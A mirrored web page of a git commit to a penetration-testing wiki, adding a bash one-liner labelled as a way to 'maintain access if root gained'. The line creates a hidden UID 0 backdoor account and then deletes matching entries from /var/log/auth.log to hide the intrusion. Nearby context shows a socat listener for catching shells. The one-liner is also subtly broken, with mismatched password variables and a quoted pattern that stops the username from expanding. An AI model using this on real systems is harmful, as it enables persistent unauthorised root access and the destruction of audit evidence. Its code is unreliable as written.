mirror of
https://github.com/oXis/pwnwiki.github.io.git
synced 2025-10-29 16:56:59 +00:00
Add one line root useradd
maintain access if root gained
This commit is contained in:
parent
f97a9697ab
commit
083507b1e8
@ -127,6 +127,10 @@ I find this best works with a socat listener due to the readline support.
|
|||||||
socat readline TCP-LISTEN:1234
|
socat readline TCP-LISTEN:1234
|
||||||
```
|
```
|
||||||
|
|
||||||
|
**One line root useradd**
|
||||||
|
```bash
|
||||||
|
USERNAME="name";PASSWD=`perl -e 'print crypt($PASSWD, "sa")'` && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment "Comment Here" $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
|
||||||
|
```
|
||||||
|
|
||||||
Credits
|
Credits
|
||||||
-----------
|
-----------
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user